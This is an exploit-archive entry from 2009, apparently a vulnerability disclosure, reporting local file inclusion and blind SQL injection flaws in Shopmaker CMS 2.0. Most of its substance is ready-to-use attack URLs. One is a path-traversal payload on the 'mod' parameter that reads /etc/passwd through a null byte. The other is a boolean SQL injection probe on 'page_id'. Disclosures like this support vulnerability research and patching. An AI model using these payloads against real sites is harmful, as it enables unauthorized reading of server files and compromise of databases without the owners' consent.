[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Shopmaker CMS 2.0 (bSQL/ LFI) Multiple Remote Vulnerabilities
# Published : 2009-08-04
# Author : Platen
# Previous Title : elgg <= 1.5 (/_css/js.php) Local File Inclusion Vulnerability
# Next Title : Perl$hop e-commerce Script Trust Boundary Input Parameter Injection
Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities
==============================================================================
Software : Shopmaker Asp
version : version 2.0
Vendor : http://www.shopmaker.dk/
Author : Platen * mail: platen.secure[at]gmail.com
web : Blog = Www.platen.gigfa.com ~ Www.pentesters.IR
Greetings: b3hz4d ~ Cru3l.b0y ~ Cdef3nder ~ Snake and all members in Pentesters.ir
==============================================================================
[LFI]
http://127.1.1.7/mod.php?mod=[LFI]
--------------------------------------------------------------------------
[BLIND SQL INJECTION ]
http://127.0.0.1/mod.php?mod=userpage&menu=130105&page_id=[BLIND]
--------------------------------------------------------------------------
exp:
lfi ~~~~~~> http://www.xxx.com/mod.php?mod=../../../../../../../../../../etc/passwd%00
--------------------------------------------------------------------------
exp:
BLND ~~~~~~> http://www.xxx.com:80/mod.php?mod=userpage&menu=130105&page_id=145'+and+31337-31337=0+--+
# www.Syue.com [2009-08-04]